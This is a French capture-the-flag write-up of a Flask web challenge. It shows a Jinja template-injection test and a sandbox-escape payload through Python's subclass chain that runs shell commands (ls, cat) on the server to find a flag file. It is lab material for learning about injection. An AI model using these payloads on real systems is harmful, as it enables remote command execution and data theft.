CTF inter iut 2018 - Rock'N'Flask (Web)

Here comes nos write up concernant le CTF inter IUT se tenant à l’ENSIBS, Beerznhash se classe 1er permettant à l’IUT de Saint-Malo de le remporter pour la deuxième année consécutive !

Je n’ai malheureusement pas sauvegardé l’énoncé des épreuves
http://10.15.3.4:5007

Serpent sous rocher

En plus d’un titre évocateur, Wappalyzer indique un backend en Python. Le format des pages rappel également le macro framework Flask. Je suis rapidement passé sur le site web cherchant un point d’injection sans rien trouvé. Fort heureusement l’ami thbz indique qu’une barre de recherche se trouve à l’adresse suivante : http://10.15.3.4:5007/recherche/

En spécifiant une recherche on se rend compte qu’une erreur est générée, elle nous indique qu’il est impossible de décoder le base64. On encode rapidement une chaine de caractère et on relance la page. Bingo, la recherche s’effectue bien.

Je me lance alors à la recherche (qui dura envion 0,2 seconde) d’une injection de code via le fameux : {{ 7 * 7 }} qui donne e3sgNyAqIDd9fQ== une fois encodé. Boum hit, on effectue une recherche sur 49, le moteur de recherche est bien Jinja.

Serpent dans prison

Comme indiqué dans l’énnoncé on cherche à lire le fichier flag.txt, j’essaie ainsi :

{{ open("flag.txt").read() }}
NameError: name 'open' is not defined

Lever un shell pourrait nous être utile, on ne sait même pas ou est ce fichier dans l’arborescence de l’application. Cependant il faut prendre en compte que aucun module ou presque n’est chargé. Me viens alors l’idée d’utiliser un bypass assez connu, on va passer par la classe warnings (ref)

{{ ().__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os').popen("ls").read() }}
[...] RockNFlask [...]
{{ ().__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os').popen("ls RockNFlask").read() }}
flag.txt
{{ ().__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os').popen("cat RockNFlask").read() }}

Pour comprendre le payload précédent, il suffit de le décomposer morceau par morceau, il parait compliqué sans l’être. Je n’ai malheureusement pas de photo de chaque étape mais je mets la writeup car ce challenge a été flaggé à 2 minutes de la fin.

Encore merci aux organisateurs, un très bon moment avec une très bonne ambiance !